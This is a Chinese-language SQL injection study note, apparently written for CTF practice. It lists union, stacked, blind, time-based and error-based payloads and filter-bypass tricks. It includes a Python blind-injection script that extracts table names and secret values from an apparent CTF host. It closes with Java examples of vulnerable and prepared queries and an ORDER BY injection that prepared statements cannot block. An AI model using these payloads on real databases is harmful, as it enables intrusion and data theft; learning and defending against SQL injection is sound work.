预备知识

SQL注入的核心在于攻击者能够通过用户输入点(如表单、URL 参数等)注入恶意的SQL代码
库 -> 表 -> 列 -> 字段


1
SELECT * FROM users WHERE id = '$id';

思路:

【1】判断注入点
【2】判断类型
若注入点在Get参数

1
2
?id=1 and 1=1没有报错,但是?id=1 and 1=2有异常或没回显,则是数字型注入
?id=1 and 1=1 和 ?id=1 and 1=2 都没有报错,则为字符型

【3】判断闭合形式

1
2
?id=1'    
?id=1"

(1)若均报错则为整形闭合
(2)若单引号报错,双引号不报错 则为单引号闭合

然后尝试

1
?id=1'--+

无报错则单引号闭合
报错则单引号加括号闭合
(3)若单引号不报错 双引号报错 则双引号闭合
然后尝试

1
?id=1"--+

无报错则双引号闭合
报错则双引号加括号闭合

多层括号同理

【4】判断查询列数

1
1'order by 1--+

PS:
1是查询本库中的
在数据库中数据的索引uid一般不会有负的,若-1则给了userid一个负值,导致联合查询左边的查询结果为空,回显后面我们想要查询的数据

url中#不起作用,需替换成%23

万能密码
1' or '1'='1

1
SELECT * FROM users WHERE id = '1' or '1'='1';

条件永真,显示表中所有数据


分类

联合注入

【1】判断回显位
常用判断回显位的语句

1
-1' union select 1,2,3--+  

在url中输入时–+变为%23

【2】获取全部数据库
数据库结构
group_concat将查询出的结果整合到一起

1
-1' union select 1,group_concat(schema_name) from information_schema.schemata#

查询当前使用的数据库

1
-1' union select 1,database()#
1
2
3
4
5
database():显示当前数据库的名字  
version():显示 Mysql 的版本
user():返回 Mysql 连接的当前用户名和主机名
@@version_compile_os:所用的操作系统
说明:这些函数都可以直接写在 select 之后,用于查询

【3】获取数据库所有表名

1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

【4】获取字段名

1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

【5】获取字段中的数据

1
-1' union select username,password from `users`#

若不是本库是其他库的话,需指定库名,如:

1
-1' union select 1,group_concat(column_name) from sqli.users#

【6】查询列注释

1
union SELECT COLUMN_NAME, COLUMN_COMMENT FROM information_schema.COLUMNS WHERE TABLE_NAME = 'flag' AND TABLE_SCHEMA = 'ctf';#

堆叠注入

1
2
3
4
1';show databases#;  
1';show tables#;
1';show columns from users#;
1';select username,password from users#;

盲注

一般使用情况:无回显或过滤较多

布尔盲注

1
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={j}

substr(string,start,length) :提取从start开始长度为length的字符串
这条语句是提取出当前数据库的表名,一个字符一个字符的爆

若过滤了 / = union substr ascii 空格脚本如下(未过滤的脚本和下面这个意思大差不差)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
url = "http://eci-2zeiizr2ejfyrjk6gcxc.cloudeci1.ichunqiu.com/"

#students secrets courses
tbs=''
for i in range(1,30):
for j in range(32,127):
tables =f'(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'
ascii = f'(ord(mid({tables},{i},1)))'
data = {
"student_name":f'Alice\'and({ascii})in({j})#' # 加'#'!!
}
res = requests.get(url=url,params=data)
print(data)
if 'Alice' in res.text:
tbs+=chr(j)
print(chr(j))
print(res.text)
break
print(tbs)

#id,secret_key,secret_value
clms=''
for i in range(1,30):
for j in range(32,127):
tables =f'(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(\'secrets\')))'
ascii = f'(ord(mid({tables},{i},1)))'
data = {
"student_name":f'Alice\'and({ascii})in({j})#'
}
res = requests.get(url=url,params=data)
print(data)
if 'Alice' in res.text:
clms+=chr(j)
print(chr(j))
print(res.text)
break
print(clms)

flag=''
for i in range(47,100):
for j in range(32,127):
tables =f'(select(group_concat(secret_value))from(`secrets`))'
ascii = f'(ord(mid({tables},{i},1)))'
data = {
"student_name":f'Alice\'and({ascii})in({j})#'
}
res = requests.get(url=url,params=data)
print(data)
if 'Alice' in res.text:
flag+=chr(j)
print(chr(j))
print(res.text)
break
print(flag)

时间盲注

1
1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={j},sleep(3),1);#

若前面为真时,就会sleep(3)

异或盲注

1
1^ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))^{j}=0

报错注入

有报错信息则用报错注入

updatexml
updatexml(xml_doument,XPath_string,new_value)
第一个参数是xml内容
第二个参数是需要update的XPATH路径
第三个参数是更新后的值
原理:主要是由于第二个参数若不是XPATH的格式则会报错,利用此来进行报错注入

1
2
1 and updatexml(1,concat("~",database(),"~"),1);
1 and updatexml(1,concat(0x7e,database(),0x7e),1);

回显不全用substr截取后半部分

extractvalue

1
1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

floor


过滤

or被过滤

1
order by -> group by

select被过滤

【1】select -> delete
delete虽然删除了第一次循环的字符串,但是每次sql查询都是独立的,每次查询都像是一个全新的查询,不受delete 的影响

【2】改表

1
2
3
4
1';
alter table `words` rename to `words1`;
alter table `FlagHere` rename to `words`;
alter table `words` change flag id varchar(100);

【3】一种很新的读表方式

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

过滤union select

1
union/**/select

过滤information

在MySQL 5.6版本中,可以使用mysql.innodb_table_stats和mysql.innodb_table_index这两张表来替换information_schema.tables实现注入,但是缺点是没有列名。

可以尝试load_file

若flag文件确实在根目录且名字为flag,则可以直接 -1' union select 1,1,load_file('/flag')#

mysql.innodb_table_stats

数据库名

1
1'/**/union/**/select/**/1,2,(select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats)%23

表名

1
1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere'#
1
1'union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name='web1'&&'1'='1

schema_auto_increment_columns

1
-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schama=database()#

schema_table_statistics_with_buffer

1
-1' union all select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()#

无列名注入

关键在于猜表里有多少列
假如biao表是这样的

1 2 3 4 5
id name age sex phone
1 Alice 18 male 123456789
2 Bob 19 female 123456789

select 1,2,3,4,5 union select * from biao;
1,2,3,4,5是对列名起的别名,后面就可以用相应的数字来对应列来查询了

1 2 3 4 5
1 2 3 4 5
1 Alice 18 male 123456789
2 Bob 19 female 123456789

select `3` from (select 1,2,3,4,5 union select * from biao)as a;
将3的这列单独挑出来形成一张新表a,然后查询

select b from (select 1,2,3 as b,4,5 union select * from users)a;

例:

1
1'union/**/select/**/(select/**/group_concat(`1`)from(select/**/1/**/union/**/select*from/**/flag1shere.lookhere)m),1,2#
join…using

通过报错来逐个查询列名

1
select * from (select * from test_table as a join test_table b)c;

防护手段

预编译
sql注入只在编译过程中起作用,若直接使用编译好了的sql语句则可以防护

预编译即为将sql语句参数化,将需要传入的参数值用符号进行占位,随后预编译,传参执行,以参数值身份传入则不参与到sql语句中

例:

1
select * from user where username=? and password=?;

未进行预编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.sql.*;

public class LoginExample {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.cj.jdbc.Driver");

String username = "admin' OR '1'='1' -- ";
String password = "123456";

Connection conn = DriverManager.getConnection(
"jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC",
"root",
"password"
);

String sql = "SELECT * FROM test_table WHERE name = '" + username + "' AND passwd = '" + password + "'";
System.out.println("执行的 SQL 语句是:\n" + sql);

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);

if (rs.next()) {
System.out.println("登录成功(存在注入)");
} else {
System.out.println("用户名或密码错误");
}

rs.close();
stmt.close();
conn.close();
}
}

sql注入成功

进行预编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.sql.*;

public class yubianyi {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.cj.jdbc.Driver");

String username = "admin' OR '1'='1' -- ";
String password = "123456";

Connection conn = DriverManager.getConnection(
"jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC",
"root",
"password"
);

String sql = "SELECT * FROM test_table WHERE name = ? AND passwd = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);

ResultSet rs = stmt.executeQuery();
System.out.println("执行的 SQL 语句是:\n" + sql);

if (rs.next()) {
System.out.println("登录成功(存在注入)");
} else {
System.out.println("用户名或密码错误");
}

rs.close();
stmt.close();
conn.close();
}
}

预编译后

预编译之外的注入
综上,预编译只能防御住可参数化位置的sql注入,如果有不可参数化的位置则无法防御(结构注入)

不可参数化的位置(这些是sql语句固定的部分->结构注入):

  • 表名、列名
  • order by / group by
  • limit
  • join
    ···

以order by为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.sql.*;
import java.util.Scanner;

public class yubianyifail {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.cj.jdbc.Driver");

Scanner scanner = new Scanner(System.in);
System.out.print("请输入搜索关键词:");
String keyword = scanner.nextLine();

System.out.print("请输入排序字段(name):");
String sortField = scanner.nextLine();

Connection conn = DriverManager.getConnection(
"jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC",
"root",
"password"
);

String sql = "SELECT * FROM test_table WHERE name LIKE ? ORDER BY " + sortField;
System.out.println("执行的 SQL 是:\n" + sql);

PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, "%" + keyword + "%");

ResultSet rs = stmt.executeQuery();

System.out.println("查询结果:");
while (rs.next()) {
System.out.println("用户名:" + rs.getString("name") + ",密码:" + rs.getString("passwd"));
}

rs.close();
stmt.close();
conn.close();
}
}